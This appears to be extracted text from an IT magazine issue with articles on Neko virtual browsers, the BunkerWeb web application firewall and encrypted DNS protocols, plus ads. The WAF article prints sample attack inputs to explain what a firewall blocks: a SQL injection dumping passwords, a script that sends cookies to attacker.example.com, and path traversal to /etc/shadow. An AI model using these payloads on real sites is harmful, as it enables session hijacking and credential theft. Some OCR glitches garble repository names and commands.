69           "driftType": "weaker"
70         }
71       ]
72     }
73   }
```

Figure 7: Machine-readable JSON output for pipeline and compliance integration.



**W> World
Congress 2026**

July 8-10 • 2026, Berlin

The World's Leading Event for Developers, AI Professionals & Tech Leaders

Join one of the most influential networks of tech experts and 500+ hours of keynotes, workshops and real conversations — all in one place.

Learn from the best, including:

Karsten Wildberger
Federal Minister for Digital
Transformation & Government
Modernisation

Michael Kagan
CTO, NVIDIA

Thomas Dohmke
CEO & Co-founder of Entire,
fmr. CEO GitHub

Linda Tong
CEO Webflow

Jeff Atwood
Co-founder of Stack Overflow,
Co-founder of Discourse,
Author of Coding Horror

Dana Lawson
CTO of Netflix

Peter Bakenecker
President Central Europe at
Mastercard

Axel Schell
Chief Technology
& Transformation Officer of
Allianz Technology

Des Traynor
Co-founder of Intercom

and many more!

Secure your ticket now and save 10% off using the code “techleaders10” at worldcongress.dev

W> WeAreDevelopers

Learn faster. Build smarter. Lead with AI.



Virtualize Browsers, Apps, and Desktops

Disposable

Neko virtualizes browsers, applications, and desktops on Linux, supporting local or network-based access. We describe the technical platform and show you how to get started. By Christian Knermann

Isolated remotely controllable browser environments are a good choice for a variety of practical use cases, whether this be secure surfing with a focus on privacy and protection against malware, developing and testing web applications with different browsers, or even collaborating on websites. Almost 20 years ago, the German Federal Office for Information Security (BSI) coined the term “remote-controlled browser system” (ReCoBS). The security experts behind this original approach envisaged specially secured terminal servers surrounded by additional components such as firewalls and security gateways.

Neko Is Not Crypto

Neko is also the name of a meme coin, but the makers of the virtual browser specifically state on the Neko website, “There are fraudulent accounts claiming that Neko is launching cryptocurrency tokens. This is not affiliated with the official Neko project in any way. The Neko project does not have any X (Twitter) account[s] and is not involved in any crypto tokens. Please do not fall for these scams.”

Of course, installing and running a terminal server farm with secure access is expensive in terms of both time and resources. The open source Neko project [1] enters the scene at this point, bundling browsers and other Linux applications and desktops into Docker containers in a resource-saving way and streaming their graphical user interfaces by Web Real-Time Communication (WebRTC). The driving force behind the project is developer Miroslav Sedivý, who also manages the Neko repository on GitHub [2].

Pre-Built Browser Images

Neko, which is sometimes also referred to as n.eko (see the “Neko Is Not Crypto” box), is a good choice for a variety of use cases, but primarily for secure web browsing in isolated environments where admins can give users access to temporary browser sessions without compromising local systems. As a rule, these sessions are not persistent: When the container is closed, the disposable browser does not leave personal data behind. Other scenarios include shared remote

access to web applications for training or support, as well as kiosk and terminal operation of secure browsers in public or restricted environments. Developers can also carry out manual or automated tests in realistic browser environments without having to install all the browsers they need to test. Besides Mozilla Firefox and its fork, Waterfox, Neko comes with pre-built Docker images for Tor Browser, Chromium, Chrome – with and without Google integration, Microsoft Edge, Brave, Vivaldi, and Opera. The VLC media player, the Remmina remote desktop client, and the Xfce and KDE Plasma desktop environments are also available.

Most images are not limited to AMD64 (x86_64) architectures but also work with ARM64 (aarch64) processors and even comparatively low-performance 32-bit ARMv7 systems, such as the Raspberry Pi 3 or the Raspberry Pi Zero. At the other end of the performance spectrum, the AMD64 images of Firefox, Chromium, Google Chrome, Microsoft Edge, and Brave can take advantage of the hardware acceleration offered by an NVIDIA GPU.

Lead Image © denis cristo, 123RF.com

Setting Limits

Neko launches virtual browsers, other applications, or desktops but does not provide a full-fledged environment for many simultaneous sessions in the sense of a terminal server farm or virtual desktop infrastructure (VDI). In particular, Neko only provides a simple authorization model that distinguishes between the profiles of administrators and non-privileged users.

The project's website also explicitly states where development is not heading. For example, Neko does not intend to become a service that serves multiple workspaces, rooms, and browsers, although an additional project supports precisely this use case – more on that later. Neko is also restricted to Linux as the officially supported platform.

Even though WebRTC integrates client-side webcams and microphones, the software is not primarily intended for voice chats, video conferencing, or screen sharing. The developers point to other specialized services such as Discord, Jitsi, and Screengo for these purposes. Neko also does not optimize the display and operation for mobile devices; instead, it supports these clients on a best-effort basis.

Docker and WebRTC Underpinnings

Neko relies on a simple but effective architecture. A Docker container encapsulates the desired application along with all its dependencies, and an integrated WebRTC server streams the graphical user interface in real time to one or more clients. Users can use their mouse and keyboard in the local browser to control the remote application. Audio and video transmission are also possible. Communication between the client and container relies on a direct peer-to-peer connection over WebRTC. Neko integrates Pion [3], another open source project and an implementation of WebRTC in the Go programming language. WebRTC,

in turn, is an open standard, with Google playing a key role in its development in the scope of another open source project. Working groups from the World Wide Web Consortium (W3C) and the Internet Engineering Task Force (IETF) are responsible for standardization.

Besides Google, all of the established browsers by Apple, Microsoft, and Mozilla now support the HTML5 and JavaScript-based technology [4].

Google uses this technology for its Google Meet in-house video conferencing application and for Google Chrome Remote Desktop (CRD), to cite just a couple of examples. If you are interested in learning more about the inner workings and functionality of WebRTC, you will find detailed information on the websites of both projects and in a freely available book, *WebRTC for the Curious* [5].

With or Without a Relay Server

The WebRTC framework enables direct peer-to-peer communication between browsers and mobile applications with support for audio, video, and data transfer between the communication partners. Before the partners can communicate directly among themselves, they first need to find each other in the Interactive Connectivity Establishment (ICE) framework. In the simplest case, ICE Lite, a server with the ports required for WebRTC, will be directly accessible on a public IP address, without NAT or a firewall-blocking UDP on the server side. In more complex network topologies, for example, if the server is running behind NAT or a firewall or on heterogeneous networks, a direct connection over ICE Lite can fail. In these cases, full ICE mode is likely the answer. The connection is then established by additional servers with session traversal utilities for NAT (STUN) or the more advanced traversal using relay NAT (TURN); the connections involved can then easily work around network and firewall boundaries. A STUN server helps determine the public IP address of the client to

establish a direct connection between the client and the server, whereas a TURN server acts as a relay to forward data between the client and the server if a direct connection cannot be established.

Neko can use publicly available STUN servers from Google. For more complex scenarios, the project's online documentation also describes integration with self-hosted servers that are based on Coturn [6], another open source project that implements a free STUN and TURN server. In the following examples, I stick to ICE Lite mode and assume that clients can reach the server's UDP ports directly to avoid the configuration becoming too complex.

Test Scenario with Firefox

To get started with Neko, all you need is a Linux system with Docker container virtualization. For this example, I use a system running Ubuntu 24.04.2 LTS, on which I installed the software in line with the official Docker documentation, and where I authorized my user account to execute Docker commands. To begin, you need to create a directory with an optional subdirectory and to generate a configuration for Docker Compose in it:

Listing 1: Neko Config for Firefox

```
services:
  neko:
    image: "ghcr.io/m1k1o/neko/firefox:latest"
    restart: "unless-stopped"
    shm_size: "2gb"
    ports:
      - "8080:8080"
      - "52000-52100:52000-52100/udp"
    volumes:
      - /home/christian/neko/profile:/home/neko/.mozilla/firefox
    environment:
      NEKO_DESKTOP_SCREEN: 1280x720@30
      NEKO_MEMBER_MULTIUSER_USER_PASSWORD:
        jundePasa-datorsu!324735
      NEKO_MEMBER_MULTIUSER_ADMIN_PASSWORD:
        bas+Mesadogeokusim-151846
      NEKO_WEBRTC_EPR: 52000-52100
      NEKO_WEBRTC_ICELITE: 1
      NEKO_WEBRTC_NAT1TO1: <local IP address of the server>
```



```
mkdir -p neko/profile
cd neko
nano docker-compose.yml
```

Working in the editor, you need to add a configuration like that shown in **Listing 1**, which defines a service for Neko that starts the current image for Firefox. All Neko images are provided by the developer in the GitHub container registry.

As you might guess, the path for Chromium in the `image` line would be `ghcr.io/mikio/neko/chromium:latest`. I used TCP port 8080 for the Neko web interface, and the UDP port range 52000-52100 for WebRTC. The optional volume connects a local path to the browser's profile path in the container, enabling persistent storage of browser data. You can skip this entry and the matching subdirectory if you want a disposable browser that forgets all the information whenever the container is restarted.

The environment variables define the resolution and frame rate for the application's graphical user interface, as well as complex passwords for users and administrators (I get back to their roles in a moment). You will

need to replace these with passwords of your choice. The other variables define the port range for WebRTC, which must match the UDP ports mentioned, and enable ICE Lite. Last but not least, the `NAT1TO1` variable stores your server's IP address on the local network. This variable is also optional, and you only need the line if you want your clients to access Neko directly on the server's network or over a VPN. This arrangement also allows completely local access with the client browser and Neko on the same machine. In this case, simply use the local loopback address, 127.0.0.1. Now, save the configuration and type the following to start the container:

```
docker compose up -d
```

Docker downloads the Neko image for Firefox and creates the container, which then offers its web interface on TCP port 8080. You can now access the service in your browser at `http://<IP address of the server>:8080`. Neko shows the web interface with the login, and you can now log in with either the admin or user password from your configuration file.

Configuring and Using Sessions

With the multi-user provider that Neko uses for authentication by default, the container does not distinguish between named users, but creates users and their sessions dynamically. You can enter an arbitrary name in the login dialog and log in, as long as the password is correct. The password determines which profile your account uses (administrator or regular user without extended permissions). From these profiles, Neko generates the users on demand when they log in and deletes them again when they log out. Internally, the container prefixes each username with five random characters to avoid conflicts when multiple users use the same credentials.

After logging in, you will see the browser running in the container embedded in the Neko user interface (**Figure 1**). The keyboard icon at the bottom of the window lets you remotely control the browser, and you can adjust the volume of any audio tracks sent in the session. The menu button at top right on the page displays a sidebar with the chat and




Figure 1: Neko streams a browser and other Linux applications and desktops over WebRTC.

other settings, which is where you can configure the session (e.g., the scroll sensitivity or the keyboard layout for the session). You also have the option of streaming the content of the session as a live broadcast with the Real-Time Messaging Protocol (RTMP) on platforms such as YouTube or Twitch. Even without a livestream, all users logged in to the container can see the screen content in real time. Users can take control of each other's sessions, but only administrators can force or block control, prevent logins in general, and kick users out of the session and block their IP addresses.

Users communicate with each other by choosing the chat function in the sidebar. This basic function allows everyone to communicate with everyone else. Users cannot talk to each other specifically with @ mentions or start private chats. However, they can log in, log out, and log back in again with the same or a different username. The browser session continues to exist as long as the container is running, and if you have a persistent volume, settings in the browser's user profile are retained even after the container is restarted.

As alternatives to the multi-user provider, Neko also supports file providers and object providers. File providers read users and their passwords from a JSON file, whereas the object providers only store user accounts in memory. In these cases, you can name users who are allowed to log in and define their permissions. Neko differs from the multi-user provider, in that it does not generate users on demand, and you can specify exactly who is allowed to log in with which password and profiles. In this setup, it is no longer possible to log in twice with the same username in parallel [7].

Security with Reverse Proxy

Because Neko exposes its web interface unencrypted over HTTP, it is strictly inadvisable to expose TCP port 8080 to the public Internet. Besides adding security by a VPN or SSH tunnel, the documentation describes integration with

the Traefik, NGINX, Apache, HAProxy, and Caddy reverse proxy services. I used Caddy as an example because it is very quick to set up and automatically takes care of a TLS certificate. To begin, remove the last line in [Listing 1](#) with the variable `NAT1T01` from the configuration for Neko and type `NEKO_SERVER_PROXY: true` instead, which tells Neko to trust the X-Forwarded-For and X-Real-IP headers transmitted by the proxy. Now restart the container,

```
docker compose down
docker compose up -d
```

move up one level in the filesystem, and create a directory for Caddy with a YAML file for Docker Compose inside. You can then copy the configuration from the online documentation without making any changes [8]:

```
mkdir -p caddy/conf
cd caddy
nano docker-compose.yaml
```

Finally, create a simple configuration for the proxy in the `Caddyfile` file in the subdirectory and fill it with content:

```
cd conf
nano Caddyfile

https://neko.example.com {
    reverse_proxy localhost:8080
}
```

Replace the hostname with your server's DNS name, grant external access to the server over TCP ports 80 and 443, and start the container:

```
cd ..
docker compose up -d
```

Figure 2: Neko Rooms lets you configure a Neko instance graphically without editing YAML files.

Caddy now launches in the background and automatically procures a TLS certificate issued by the Let's Encrypt certification authority for the DNS name of your server. It then publishes the Neko web interface secured over HTTPS, meaning you can access it externally without having to go through the unsecured TCP port 8080. This arrangement makes it easy to deploy browsers, apps, or desktops with minimal effort.

The disadvantage, though, is that Neko only provides one container with one image. If you want to deploy a different browser, you can only do so by stopping the running container in the shell or by using a graphical tool such as Portainer and launching a new container with a different image. A lack of flexibility awaits if you want to test something quickly with different browsers as part of web application development. Fortunately, the Neko developer has a remedy in the form of his separate Neko Rooms [9] project (available on GitHub).

Parallel Instances with Neko Rooms

Neko Rooms provides an additional web interface that lets you publish multiple instances of Neko in parallel on the same Docker host. Best of all,

you will find an installation script in the project repository that creates a complete environment with virtually no manual intervention.

The script takes care of everything and even installs Docker if container virtualization is not yet available on the host. To do so, you need to stop the Neko and Caddy containers you have been using or start with a fresh Linux system. Now create a new directory and install Neko Rooms:

```
mkdir neko-rooms
cd neko-rooms
wget -O neko-rooms-traefik.sh 2
https://raw.githubusercontent.com/2
m1k1o/neko-rooms/master/traefik/install
sudo bash neko-rooms-traefik.sh
```

Unlike our previous test setup, the script uses the Traefik reverse proxy, but you don't need to worry about its configuration. In this case, too, the host must have a public DNS name and be accessible over TCP ports 80 and 443, because the script automatically provides Traefik with a certificate from Let's Encrypt.

By default, the installation uses UDP ports in the range 59000 to 59100 for WebRTC, which must also be open, but you can also specify a different range during installation. The script will also prompt you for your host's DNS name and an email address to

obtain the certificate. You have the option of specifying one or more users and passwords to access the web interface. The script takes care of everything else and starts correctly configured Docker containers for Traefik and Neko Rooms. You can then log in to the front end as one of the specified users.

At the time of writing, Neko Rooms was not yet capable of automatically downloading the Docker images it needed, which means you first will probably need to download manually the images of any browsers and apps you want to provide with the *Pull Neko Images* button.

Configuring Neko Graphically

To launch one or more Neko instances, use the buttons at the top right: The *Quick Room* button creates an instance with a random name and default settings from a selectable image, and *Add Room* graphically configures many of the settings for the container (Figure 2). When first launched, Neko Rooms displays a warning message because the storage space for persistent storage is missing. The Neko Rooms documentation [10] describes how to add storage later, but first you need to stop the container instances, edit the ENV file,




Figure 3: Neko Rooms starts multiple instances of Neko in parallel on the same Docker host.


```
docker compose down
nano .env
```

and, at the bottom of this file, add the variables for your storage space:

```
NEKO_ROOMS_STORAGE_ENABLED=true
NEKO_ROOMS_STORAGE_INTERNAL=/data
NEKO_ROOMS_STORAGE_EXTERNAL=2
/opt/neko-rooms/data
```

Now add a volume with this path to the `docker-compose.yml` file for Neko Rooms and restart the environment by typing:

```
docker compose up -d
```

You will then be able to create multiple Neko instances with a persistent configuration from different images in parallel (Figure 3). The web interface provides links to the instances, all of which can be accessed over HTTPS.

Conclusion

Neko offers a flexible approach to providing virtual browsers, other applications, and even desktops online. The combination of Docker and WebRTC lends itself to easy provisioning and use on the web. Administrators in particular will enjoy the modularity and openness of the software, especially in conjunction with Neko Rooms, which significantly simplifies container management and supports multiple instances running in parallel. ■

Info

- [1] Neko homepage:
[\[https://neko.mlk1o.net\]](https://neko.mlk1o.net)
- [2] Neko download on GitHub:
[\[https://github.com/mlk1o/neko\]](https://github.com/mlk1o/neko)
- [3] Pion WebRTC:
[\[https://github.com/pion/webrtc\]](https://github.com/pion/webrtc)
- [4] WebRTC documentation:
[\[https://webrtc.org\]](https://webrtc.org)

- [5] Online WebRTC For The Curious:
[\[https://webrtcforthe curious.com\]](https://webrtcforthe curious.com)
- [6] Coturn TURN server:
[\[https://github.com/coturn/coturn\]](https://github.com/coturn/coturn)
- [7] Neko authentication:
[\[https://neko.mlk1o.net/docs/v3/configuration/authentication\]](https://neko.mlk1o.net/docs/v3/configuration/authentication)
- [8] Docker Compose for Caddy:
[\[https://caddyserver.com/docs/running#docker-compose\]](https://caddyserver.com/docs/running#docker-compose)
- [9] Neko Rooms:
[\[https://github.com/mlk1o/neko-rooms\]](https://github.com/mlk1o/neko-rooms)
- [10] Storage for Neko Rooms:
[\[https://github.com/mlk1o/neko-rooms/blob/master/docs/storage.md\]](https://github.com/mlk1o/neko-rooms/blob/master/docs/storage.md)

Author

Christian Knerrmann is Head of IT-Management at Fraunhofer UMSICHT, a German research institute. He's written freelance about computing technology since 2006.



Linux Magazine Subscription

Print and digital options • 12 issues per year

Expand your Linux skills:

- In-depth articles on trending topics, including Bitcoin, ransomware, cloud computing, and more!
- Troubleshooting and optimization tips
- News on crucial developments in the world of open source
- How-tos and tutorials on useful tools that will save you time and protect your data
- Cool projects for Raspberry Pi, Arduino, and other maker-board systems

Go further and do more with Linux. Subscribe today and never miss another issue!



Customers in Europe or the United Kingdom (EUR/GBP)
shop.sparkhausmedia.com/shop



Customers in All Other Countries (USD)
shop.linuxnewmedia.com/shop

Need more Linux?
Subscribe free to Linux Update

Our free Linux Update newsletter delivers insightful articles and tech tips to your inbox every week.

bit.ly/Linux-Update



Hardening Online Services

Fortress

The BunkerWeb web application firewall provides a low-threshold entry point for hardening virtually any application with meaningful, application-independent safeguards. By Matthias Wübbeling

A **web application firewall (WAF)** operates at the application layer and analyzes HTTP/HTTPS traffic there. Unlike traditional network firewalls, which primarily filter IP addresses, ports, and protocols at the TCP/IP level, WAFs understand the semantics of web server requests and can therefore detect and block application-specific attacks. A WAF typically acts as a reverse proxy, sitting between the requesting client and the web server running the application. Before being forwarded, incoming HTTP requests pass through several analysis phases:

- **Request parsing:** Breaks down the HTTP request into headers, parameters, body, and cookies.
- **Rule set evaluation:** Compares values against defined security rules, such as user agent, specific cookies, etc.
- **Anomaly assessment:** Evaluates suspicious patterns and scores requests for decision making.
- **Decision:** Forwards (allows) or rejects (blocks) the request, with the possibility of enforcing additional challenges (e.g., captchas) on the basis of the evaluation.
- **Response filtering:** Optionally analyzes outgoing responses depending on the WAF.

Various techniques are used to detect anomalies. They can be signature-based (like virus scanners) or anomaly based (from typical requests; think behavior, such as the frequency of individual queries).

If you are looking to harden your server, BunkerWeb [1] is a well-designed, comprehensive, and modern alternative open source WAF. Based on the NGINX high-performance proxy web server, it extends traditional ModSecurity integration to include additional security modules.

Typical Attacks

Today, attack patterns against web applications primarily home in on vulnerabilities in the web application itself rather than targeting the web server, the programming language, or the database management system. In many cases, the vulnerability is user input that is not reliably checked before processing.

The user-accessible search function of an interactive web application offers a simple example. Instead of a username, the attacker could simply type in the search box

```
GET /search?query=admin' UNION SELECT
username,password FROM users --
```

If the application fails to sanity check this classic SQL injection attack and, say, does not mask the single quote, the query delivers all usernames and passwords as the icing on top of the username cake supposedly being queried.

Another attack vector is based on injecting information into third-party application sessions. If an attacker can place HTML or JavaScript code on a page without it being checked, they can hijack another user's browser session. One example would be a comment below a blog post:

```
<script>document.location=
'http://attacker.example.com/?
steal.php?cookie='
+document.cookie</script>
```

If this block is executed, the attacker can grab a regular user's session cookies and deploy them to hijack other sessions or entire accounts. Another classic ploy comes into play when an application lets you change a file on the web server's filesystem. If an attacker manages to manipulate system files (e.g., by influencing the path of the file to be changed), they could read or manipulate the `/../../../../../../../../`

etc/passwd password file or the /.../.../.../.../etc/shadow file and even gain access to the web server's operating system.

BunkerWeb Open Source WAF

If you are looking to harden your server with a WAF, you have a large market of providers to consider. Of course, Cloudflare or AWS WAF are very easy to integrate as cloud WAFs. These WAFs are always likely to keep pace with the latest threat scenarios because of the large numbers of customers they have and the many attacks to which they are exposed. In contrast, the OWASP ModSecurity project offers a self-hosting option and can certainly be used as a basis for your own WAF.

If you are looking to host a comprehensive WAF yourself, you should consider BunkerWeb. Based on ModSecurity's tried-and-trusted OWASP rule set, BunkerWeb integrates advanced bot detection with built-in multi-challenge systems that are based on JavaScript or cookies and that can also fall back on various captcha mechanisms, if necessary.

The geolocation function allows requests originating from atypical areas of the world and handles them accordingly, and the Limit plug-in implements DDoS protection by limiting the number of requests according to various criteria. BunkerWeb supports Let's Encrypt as a provider of TLS certificates, lets you select the back ends (HTTP or DNS with a handful of providers), and takes care of certificate management.

BunkerWeb can be installed directly, but it also supports deployment in container environments such as Docker, Swarm, or Kubernetes. To get an idea of how it works and how it is structured, the example uses Docker Compose to set up BunkerWeb, following the guidance in the official quick start guide [2].

To get started right away, it makes sense to use a virtual server with a public IP and, ideally, two different

name entries in your DNS (e.g., *bunker* and *app*, if these are not already assigned). If needed, you can also initially run BunkerWeb locally on your Linux computer. I tried the Docker Compose file suggested by the guide, remembering to change the password for the SQL database in two places: in the variable declaration for the runtime environments at the top of the file and in the MariaDB service itself. The two passwords must be the same, of course.

Next, start the container with the `docker compose up` command and wait for the WAF to start up. When done, open the domain URL or go to localhost in your browser – in my case, it was `https://bunker.admin-magazine.com/setup` (you need to accept the certificate warning first). Now complete the setup by adding a username and a password and carrying out some initial configuration work, such as adding a certificate from Let's Encrypt for the web interface.

You can then log in to the admin interface to access a comprehensive menu of options. To gain an idea of the interface's capabilities, start by creating a new target in *Services* by clicking *Create new service*, which you will then let BunkerWeb protect. You are taken to an 11-page dialog where you configure the domain (e.g., *app.admin-magazine.com*), as well as several settings for securing communication.

Click *Next* to continue and configure the upstream server (i.e., the location where your application runs), which could be an existing website, an application that is also accessible in Docker, or a Kubernetes cluster. I just typed `https://admin-magazine.com`.

Now click your way through the BunkerWeb options and take a closer look. In step 5, you can activate the *Bad behavior* filter to identify undesirable behavior as an anomaly and respond accordingly. Next, configure *Blacklisting* and *Limiting* (to limit requests) before proceeding to step 8, *Antibot*, for some bot detection measures.

Here you can enable captchas from various providers that users need to solve before being allowed to access the resource. Simply select *captcha* for the *USE_ ANTIBOT* setting and test how this affects the page when you call it up. Once you reach step 11, you have seen all the protection options and can press *Save* to save the service. The next time you call up the service, you will see a captcha. Once you have solved it, you will be taken to the application.

When familiarizing yourself with BunkerWeb, don't forget to check out the *Plugins* section to see other extensions you can add once you have purchased a matching license from the developers. The basic installation already offers you more protection against attackers than completely doing without WAF.

Conclusion

Web applications are constantly exposed to attacks. This article introduced the self-hosted BunkerWeb web application firewall, which offers a good and clear introduction to the topic of security for web servers and ensures increased security for the web applications you use. ■

Info

[1] BunkerWeb: [\[https://www.bunkerweb.io\]](https://www.bunkerweb.io)

[2] Quick start guide: [\[https://docs.bunkerweb.io/1.6.1/quickstart-guide/#basic-setup\]](https://docs.bunkerweb.io/1.6.1/quickstart-guide/#basic-setup)

The Author

Dr. Matthias Wübbeling is an IT security enthusiast, scientist, author, consultant, and speaker. As a Lecturer at the University of Bonn in Germany and Researcher at Fraunhofer FKIE, he works on projects in network security, IT security awareness, and protection against account takeover and identity theft. He is the CEO of the university spin-off Identeco, which keeps a leaked identity database to protect employee and customer accounts against identity fraud. As a practitioner, he supports the German Informatics Society (GI), administering computer systems and service back ends. He has published more than 100 articles on IT security and administration.



New Approaches to DNS

Next Generation

DNS, the Internet's address book, is often used in plain text. Fortunately, modern DNS protocols offer many improvements. By Paul Nixer

The venerable domain name system (DNS) has been serving up names on the Internet since the 1980s. In fact, it is safe to say the Internet wouldn't function without DNS; unfortunately, the old-school DNS protocol is showing its age. One perfect illustration of the problem is the British National Cyber Security Centre warning [1] about hacker attacks by the Russian APT28 group. DNS is directly involved in these attacks because APT28 has built a wide network of DNS servers that are used to redirect traffic to fake domains.

These malicious websites and email services are collecting all kinds of worthy artifacts: logins, passwords, OAuth tokens, browser history, and more. The front line of attack are routers – most of them old models with outdated firmware. After a successful attack, the DNS servers in the routers are changed to the malicious DNS by APT28. Then, all devices connected to the router and using the default DNS from the ISP will become a target. This attack clearly

demonstrates the importance of DNS security.

Classic DNS has worked well for decades and has been tested under load many times. However, some architectural problems are difficult to solve for old projects like DNS. The most notable problem is the lack of encryption. DNS queries are performed in plain text, so they can be intercepted and modified easily by a man-in-the-middle attack.

In this article, I go on a tour through some recent protocols that have evolved around the need to address the security issues associated with DNS. You'll learn about:

- DNS over HTTPS
- DNS over TLS
- DNS over QUIC
- DNS over HTTP/3

Although modern DNS services like DNS over QUIC and DNS over HTTP/3 were developed relatively recently, they have already gained popularity and support in operating systems. The TLS 1.3 cryptographic protocol inside the QUIC transport layer

eliminates the need for the traditional TLS handshake and allows DNS data to arrive in the first packets, which is a significant improvement for high-load networks and is only a small piece of the performance, security, and privacy advantages of these protocols, which are now ready to use and gaining popularity.

DNS over HTTPS

DNS over HTTPS (DoH) [2] was introduced in 2018 with a significant redesign. It performs DNS resolution over the encrypted HTTP protocol, which is very similar to how general web browsers operate. All DoH queries and responses are standardized, but everything moves over HTTP. Mozilla Firefox and Google Chrome, along with their counterparts Brave, Microsoft Edge, and Opera, support DoH. Many web browser users know about DoH from their browser's configuration menu, and to be honest, it's a good promotional campaign that has worked well. I first saw DoH

Lead Image ©bowlet5, 123RF.com

in my Firefox browser options. This protocol works well without the classic DNS on port 53, which has been a well-known tool for decades (e.g., for `dig` and `nslookup`).

Outside of the web browser scope, DoH also works with DNS proxy. A proxy works like a local DNS server – it listens to local DNS queries on port 53 (or a different port), translates them into DoH queries, and sends them to a remote DoH server. The answer transmission works in reverse. Another interesting fact is that DoH and classic DNS can work together. For example, a web browser can use DoH on port 443; other applications can use DNS on port 53. **Figure 1** demonstrates a DoH query that works from a browser and a terminal.

DNS over TLS

DNS over TLS (DoT) [3] is another encrypted protocol that uses TLS but not the HTTP protocol, which is a major difference from DoH. DoT absorbs many of the security advantages of DoH: An ISP or random man in the middle cannot listen to or modify DNS queries. Another significant difference is that DoT uses standard port 853. The protocol is less popular than DoH because web browsers don't support it. However, Android 9 (2018) and newer devices, systemd (the default system manager in many Linux distributions), and the famous BIND server provide some hope for DoT's future. Under the hood of the protocol, a Transmission Control Protocol (TCP)

connection is established to port 853. Client authentication can be set for an extra security bonus, but it is not required by default. Then, DoT uses the classic DNS format inside an encrypted container: Header, Question, Answer, Authority, and Additional Space. Each message has a two-byte field that holds its length in a 16-bit integer. You can also use the same tool,

```
dig @1.1.1.1 www.rfc-editor.org 2
A +tls -p 853
```

which gives the same answer:

```
A 104.18.21.81; A 104.18.20.81
```

The classic DNS protocol makes DoT slightly faster than DoH, because DoH must wrap DNS queries in a much more complex HTTP protocol with framing and header overhead.

DNS over QUIC

DNS over QUIC (DoQ) [4], a relatively new DNS protocol introduced in May 2022, provides an encryption layer for DNS queries. Like other encrypted DNS protocols, such as DoT and DoH, it offers security advantages, including protection against domain logging and interception. Like DoT, DoQ uses port 853 UDP. QUIC provides lower latency and faster speeds, which are useful in high-load networks for video streaming, gaming, VoIP, and more. In short, Google Inc., the developer of QUIC, positions

it as a direct competitor to TCP. QUIC has been around for a while. It was announced in 2013 and is already supported by the most popular browsers: Google Chrome and all other web browsers, including Firefox and Safari. Despite this, the protocol is still far from the top – industry integration is massive.

Before digging into DoQ, I'll explore the strongest parts of QUIC:

1. Provides a faster connection. **Figure 2**

shows a direct comparison between TCP with the TLS protocol and QUIC. The top image describes DoH – and partially DoT if you replace the HTTP request and response with the classic DNS query. The TCP SYN, TCP SYN + ACK, and TCP ACK are the classic TCP handshake. QUIC has a similar mechanism: first, ClientHello; second, ServerHello, Cert, and Fin; and third, ClientFin. The TLS handshake is ClientHello, ServerHello, and Finished. The QUIC side has nothing similar, because TLS is embedded in QUIC, and QUIC also has the zero round trip (0-RTT) feature: If the client was previously connected to the server, it will still remember the session parameters and send the DNS query in the first data package, which is a nice optimization!

2. Works faster with lost data packets.

If a package is lost (e.g., because of a noisy environment on a wireless network), TCP pauses data delivery for a while. QUIC uses multiple data streams




Figure 1: A DoH query from a web browser and terminal with Cloudflare DNS.




Figure 2: HTTP request over TCP+TLS vs. over QUIC [5]. © Cloudflare Inc.

that can reach the destination independently, so retransmitting one data package doesn't force a connection restart. In short, this approach can be called single lane (TCP) versus multiple lanes (QUIC).

- 3. Provides a stable connection on network switch.** This QUIC feature is one of the most exciting. If the network connection switches from LTE to WiFi, the QUIC connection will work without interruption, thanks to the unique connection ID (CID), the source and destination IP addresses, and the destination port, all of which are useful for connection tracking.
- 4. Encrypted ACK.** Unlike TCP, ACK on QUIC is encrypted, which makes life more difficult for ISPs, hackers, and censors, because it's much more difficult to fingerprint the traffic

and perform statistical analyses on it. For the same reason, sequence numbers and window sizes are also hidden. QUIC is really doing the heavy lifting for DoQ, and this feature list isn't even complete. It's time to leave the transport layer and move on to the data with DNS queries at the stage when an encrypted connection has been successfully established. The user then sends a DNS request to the DoQ server. The server checks its cache for an IP address. If it's not found, the server queries upstream DNS servers. If an address is found, it will be sent back in reverse order. The main difference from other DNS protocols is that QUIC supports query multiplexing, so many queries can be sent in the same QUIC connection. The DoQ data format is similar to DoT but adapted to QUIC. Each message has a two-byte-length prefix for the message size in

Listing 1: DoQ DNS Query with kdig

```
# Install kdig on Red Hat Enterprise Linux and similar
# Linux distributions
$ dnf install epel-release && dnf install knot-resolver

# On Ubuntu, Debian and derivatives
$ sudo apt install knot-dnsutils

# On SUSE Linux
$ sudo zypper install knot

# On Arch Linux
$ sudo pacman -S knot-resolver

# DNS Query command
$ d=www.rfc-editor.org
$ kdig @dns.quad9.net "$d" +quic +nsid +padding=64
# nsid - Name Server ID, shows the ID of answered server
# padding - pads DNS query to 64 bytes to avoid
# fingerprinting by package length
;; QUIC session (QUICv1)-(TLS1.3)-(ECDHE-X25519)-
;; (ECDSA-SECP256R1-SHA256)-(AES-256-GCM)
;; ->>HEADER<<- opcode: QUERY; status: NOERROR; id: 0
;; Flags: qr rd ra ad; QUERY: 1; ANSWER: 2;
;; AUTHORITY: 0; ADDITIONAL: 1

;; EDNS PSEUDOSECTION:
;; Version: 0; flags: ; UDP size: 512 B;
;; ext-rcode: NOERROR
;; NSID: 7265733731312E616D73 "res711.ams"

;; QUESTION SECTION:
;; www.rfc-editor.org. IN A

;; ANSWER SECTION:
www.rfc-editor.org. 298 IN A 104.18.20.81
www.rfc-editor.org. 298 IN A 104.18.21.81

;; Received 93 B
;; Time 2026-04-27 21:26:27 UTC
;; From 149.112.112.112@853(QUIC) in 9.6 ms
```





Figure 3: DoH3 and DoT query latency measurements by Google.

bytes. A new DNS query occurs in a new QUIC stream. The DNS header has no message ID because it is not necessary – QUIC takes care of the queries and responses.

Transitioning from theory to practice, you can test how DoQ works by performing a real DNS query. You can't do that with the popular `dig` tool yet because it doesn't support DoQ. A reasonable replacement seems to be `kdig`. Installation instructions and DNS query details are provided in Listing 1.

DNS over HTTP/3

The relatively new DNS over HTTP/3 (DoH3) protocol feels like yet another upgrade of DoH. This time it's not a clone as a cool new version; some real improvements have been made, and the first is QUIC. Its best advantages enumerated in the previous section are still here in DoH3: faster connection, better with lost packages, stable connection on network switch, and many privacy features.

HTTP/3 [6] was introduced in 2022 and developed with stream multiplexing in mind. However, legacy elements remain strong: Old request methods, status codes, and message fields remain unchanged. For example, the *HTTP/3 404* and *HTTP/1.1 404* codes mean the same thing: resource not found. Among the new features, I must mention QPACK [7], a new header compression mechanism that allows the handling of different HTTP/3 headers in different streams with a special table approach. Figure 3 shows interesting metrics from Google: DoH3 outperforms DoT by 24 percent in median query time and by 44 percent in the slowest five percent of queries. Overall, both DoT and DoH3 had 97 percent resolution success, whereas UDP had only 87 percent. The final result shows that UDP latency is far ahead of HTTP/3 with TLS.

